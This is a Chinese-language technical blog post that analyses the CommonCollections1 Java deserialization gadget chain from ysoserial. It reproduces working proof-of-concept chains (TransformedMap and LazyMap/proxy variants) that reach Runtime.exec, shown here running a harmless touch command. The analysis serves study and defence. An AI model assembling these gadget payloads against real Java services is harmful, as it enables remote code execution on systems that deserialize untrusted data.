前言

Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過

這個漏洞在 2015 年時,對整個 Java 生態系造成不小的影響

後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來

而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析

雖然網路上類似本篇的分析文很多,但只看文章其實很難體會到 java gadget chain 裡頭的精髓

強烈建議大家有興趣、有時間的話,可以自己拉原始碼下來跟一遍,相信可以收穫更多 !

p.s. 這裡我分析的版本是 Common Collections 3.1JDK 8


簡介

Apache Common Collections 主要是一個用來擴充原生 Java Collection 的一個第三方 Library

(簡單說,就是一個擴充包的概念)

而 Collection 基本上就可以視為是 Set, List, Queue 等類別的抽象概念

所以 Common Collections 中提供了許多方式,能讓我們對這些 Collection 做操作

或是對各種資料結構做封裝、抽象化,簡化原本 JDK 中複雜的操作方式

例如後面會提到的各種 Transformer,最主要就是用來對這些 Collection 做內容轉換的

也因為它的方便性和實用性,所以許多框架預設都有引用這個 Library

導致一旦底層 Library 出問題,上面所有框架都會接連一起爆炸


分析

先從 Transformer 開始看:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// org.apache.commons.collections.Transformer
public interface Transformer {

    /**
     * Transforms the input object (leaving it unchanged) into some output object.
     *
     * @param input  the object to be transformed, should be left unchanged
     * @return a transformed object
     * @throws ClassCastException (runtime) if the input is the wrong class
     * @throws IllegalArgumentException (runtime) if the input is invalid
     * @throws FunctorException (runtime) if the transform cannot be completed
     */
    public Object transform(Object input);

}

它是一個接口,主要用處就如同字面上的意思,是用來對輸入的物件做轉換

裡面最重要的就是 transform() 方法,我們後面會一直用到它!

接著來看幾個串 gadget chain 時會用到的 transformer 類別

一、 ConstantTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class ConstantTransformer implements Transformer, Serializable {
    ...

    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return iConstant;
    }
    ...
}

這個類別的 transform() 方法實作非常簡潔,直接吐回我們在呼叫 constructor 時設定的物件

也就是我們輸入的物件,沒有經過任何轉換操作就直接返回


二、 InvokerTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class InvokerTransformer implements Transformer, Serializable {
    ...
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            ...
        }
    }
    ...
}

InvokerTransformertransform() 方法會透過反射,呼叫物件的方法

而值得注意的是,方法名、參數等都是我們在 constructor 中可控的,所以我們可以對輸入的 input 物件,做任意方法呼叫!


三、 ChainedTransformer

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class ChainedTransformer implements Transformer, Serializable {
    ...
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    ...
}

ChainedTransformer 這個類別就有意思了,iTransformers 是一個 transformer 陣列,我們一樣可以透過 constructor 設定它

這裡 transform() 方法,會去對 iTransformers 中每一個 transformer 去呼叫其對應的 transfomr() 方法 !

也就是前一個 Transformer transform() 完的結果,會被當成下一個 Transformer transform() 的輸入

所以就能串成一個 transformer chain


到目前為止,這幾個 transformer 實際上組合一下,就已經能變成一個任意代碼執行了 !

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public static void main(String args[]) {
    Transformer[] transformer_arr = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
    };
    Transformer chain = new ChainedTransformer(transformer_arr);
    chain.transform(chain);
}

但只有這樣是不夠的

目前我們是手動建立 transformer,並手動呼叫 ChainedTransformer.transform() 方法來觸發整個 gadget chain

我們需要一個能夠自動去觸發 transform() 的方法


先來看 TransformedMap 這個類別 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry setValue method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
 *
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {

    /** Serialization version */
    private static final long serialVersionUID = 7023152376788900464L;

    /** The transformer to use for the key */
    protected final Transformer keyTransformer;
    /** The transformer to use for the value */
    protected final Transformer valueTransformer;

    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     *
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    ...

可以看到這邊的 TransformedMap 繼承了抽象類別 AbstractInputCheckedMapDecorator

AbstractInputCheckedMapDecorator 又繼承了抽象類別 AbstractMapDecorator

這個 AbstractMapDecorator 實際上實作了 JDK 的 Map interface

其中 TransformedMapkeyTransformervalueTransformer 對應 key 跟 value 改變時要做的操作

當 key 或 value 被修改時,就會去調用對應 Transformer 的 transform 方法

有很多地方都能夠觸發 keyTransformer.transform()valueTransformer.transform()

但為了後面漏洞利用能繼續串另一個 class,我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet() 這條路去觸發


首先,TransformedMap.decorate() 會回傳一個 TransformedMap

並且可以讓我們設定其中的 keyTransformervalueTransformer

所以這裡就能放我們前面串的那個 ChainedTransformer 當作 key 或 value 的 Transformer

接著我們看 AbstractInputCheckedMapDecorator.entrySet():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public Set entrySet() {
    if (isSetValueChecking()) {
        return new EntrySet(map.entrySet(), this);
    } else {
        return map.entrySet();
    }
}

protected boolean isSetValueChecking() {
    return true;
}

isSetValueChecking() 條件成立時,會用到內部類別 EntrySet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static class EntrySet extends AbstractSetDecorator {

    private final AbstractInputCheckedMapDecorator parent;

    protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
        super(set);
        this.parent = parent;
    }
    ...
}

接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySetiterator() 方法

1
2
3
public Iterator iterator() {
    return new EntrySetIterator(collection.iterator(), parent);
}

iterator() 方法又去建立了一個內部類別 EntrySetIterator 的實例


你可能想問: 這裡沒地方用到這些方法,為啥要看它們呢?

因為後面會有另一個 class 有同時用到這些東西,所以我們後面會再把這些一起串起來 !


繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 static class EntrySetIterator extends AbstractIteratorDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {
        super(iterator);
        this.parent = parent;
    }

    public Object next() {
        Map.Entry entry = (Map.Entry) iterator.next();
        return new MapEntry(entry, parent);
    }
}

next() 方法透過 iterator 去取得 Map.Entry 物件

接著 new 了一個 MapEntry 實例返回

繼續看這個 MapEntry:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

    /** The parent map */
    private final AbstractInputCheckedMapDecorator parent;

    protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
        super(entry);
        this.parent = parent;
    }

    public Object setValue(Object value) {
        value = parent.checkSetValue(value);
        return entry.setValue(value);
    }
}

這裡關鍵是這個 setValue() 方法

可以看到它呼叫了 parent.checkSetValue(value)

這個 parent 其實就是 AbstractInputCheckedMapDecorator

而實作 checkSetValue() 方法是在 TransformedMap.checkSetValue() 這邊:

1
2
3
protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

終於,看到我們朝思暮想的 valueTransformer.transform(value) 了 !

所以我們就能把前面任意代碼執行的 Code,改成用 TransformedMapsetValue() 來觸發了:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
static void main(String args[]) {
    Transformer[] transformer_arr = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
        new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"})
    };
    Transformer chain = new ChainedTransformer(transformer_arr);
    Map innerMap = new HashMap();
    innerMap.put(null, null);

    Map outerMap = TransformedMap.decorate(innerMap, null, chain);
    Set set = outerMap.entrySet();
    Iterator it = set.iterator();
    Map.Entry ent = (Map.Entry) it.next();

    // Trigger
    ent.setValue(null);
}

但一樣還是沒解決自動觸發的問題,這裡仍然是我們手動去呼叫 setValue()

而且還有前面提過的 iterator(), next() 等方法,其實都是我們手動去執行的

需要找到一個 gadget 可以幫我們完成這些事情


而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler 類別:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
 * InvocationHandler for dynamic proxy implementation of Annotation.
 *
 * @author  Josh Bloch
 * @since   1.5
 */
class AnnotationInvocationHandler implements InvocationHandler, Serializable {

    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    ...

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();


        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();


        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                        memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                        annotationType.members().get(name)));
                }
            }
        }
    }

    ...
}

可以看到 memberValues 就是一個 Map<String, Object>

readObject() 方法中,for 迴圈的寫法,實際上就恰巧用到了 iterator()next() !

1
2
3
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
    ...
}

這裡的 for 迴圈背後,實際上大致等同於

1
2
3
4
for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) {
    Map.Entry<String, Object> memberValue = iterator.next();
    ...
}

所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet(), iterator(), next() !

最後面則去呼叫了 memberValue.setValue(...),導致我們整條 chain 被觸發 !

加上是 readObject() 方法的關係,所以反序列化時會自動呼叫該方法

自動觸發整個反序列化 gadget chain,達到任意代碼執行

打完收工 !


第二條路

其實如果你去看 ysoserial 的 code

會發現它用的其實不是 TransformedMap,而是走我們現在要講的 LazyMap 這條路

概念都大同小異,就是想辦法找條路去觸發 transformer 的 transform() 方法


先來看看初始化的部分:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

這裡 decorate() 一樣會去設定 Map 和 Transformer

而我們看一下 LazyMap.get():

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

這裡直接就呼叫了 factory.transform(key)

所以我們只要想辦法透過 readObject() 去呼叫 LazyMap.get() 就能觸發整個反序列化 Chain

但事情沒那麼簡單,找不到那麼單純的 readObject() 可以直接呼叫 get() (至少我沒找到QQ)

CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法

代理模式: 是一種設計模式(Design Pattern)。簡單說,就是找一個代理人,然後把事情都丟給他做 (沒錯,就是進藤光跟佐為的關係) 而對於 java 靜態代理和動態代理不熟的讀者,推薦參考這篇文章

我們直接看 ysoserial 中構造 Payload 的方法:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// Gadgets.createMemoitizedProxy()
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}

// Gadgets.createMemoizedInvocationHandler()
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

// Gadgets.createProxy()
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
    allIfaces[ 0 ] = iface;
    if ( ifaces.length > 0 ) {
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
    }
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

public static Constructor<?> getFirstCtor(final String name) throws Exception {
    final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
    setAccessible(ctor);
    return ctor;
}

// Reflections.setFieldValue()
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
    final Field field = getField(obj.getClass(), fieldName);
    field.set(obj, value);
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public InvocationHandler getObject(final String command) throws Exception {
    final String[] execArgs = new String[] { command };
    // inert chain for setup
    final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
    // real chain for after setup
    final Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
            new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
            new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
            new ConstantTransformer(1) };

    final Map innerMap = new HashMap();

    final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

    final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

    final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

    Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

    return handler;
}

先來看 createMemoizedInvocationHandler() 中的這段:

1
(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

上面這行就是對應到這段:

1
2
3
4
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

所以 createMemoitizedProxy 實際上就是建立了一個 Map 介面的 Proxy (mapProxy)

並將 memberValues 設為 LazyMapAnnotationInvocationHandler

而下一行的 handler 則是建立 memberValuesmapProxyAnnotationInvocationHandler 物件

這個 handler 就是我們要反序列化觸發 gadget chain 的惡意物件 !


關鍵在於,AnnotationInvocationHandler 反序列化時,會去呼叫 readObject() 方法,並且其中又會去呼叫 memberValues.entrySet()

memberValues 是一個代理物件,就會去呼叫對應 handler 的 invoke() 方法

AnnotationInvocationHandler.invoke() 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);
    ...

會一直走到 memberValues.get(member)

也就對應到前面講的 LazyMap.get()

成功觸發反序列化 chain 執行 !


總結

這篇介紹了 CommonCollections1 的兩種 gadget chain

其中 LazyMap 的呼叫流程可以簡化成如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
  AnnotationInvocationHandler.readObject()
    Map(Proxy).entrySet()
      AnnotationInvocationHandler.invoke()
        LazyMap.get()
          ChainedTransformer.transform()
            ConstantTransformer.transform()
            InvokerTransformer.transform()
              Method.invoke()
                Class.getMethod()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.getRuntime()
            InvokerTransformer.transform()
              Method.invoke()
                Runtime.exec()

這條 gadget chain 的關鍵在於動態代理的利用方式,第一次看時腦袋會比較難轉過來

而另一條 gadget chain 就相對沒那麼複雜,是透過串 Map Entry 的 iterator 各種操作到達 setValue() 觸發整條 chain 執行


本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain

而以 Common Collections 來說,除了 CommonCollections1 以外,其實還有 CommonCollections2, 3, 4, 5, … 各種 chain

如果我有時間的話,也許未來會再分析看看其他條 chain (吧)


不知不覺又寫了一篇 Java,感覺繼續下去也許有機會變成一系列 Java 大合集 (?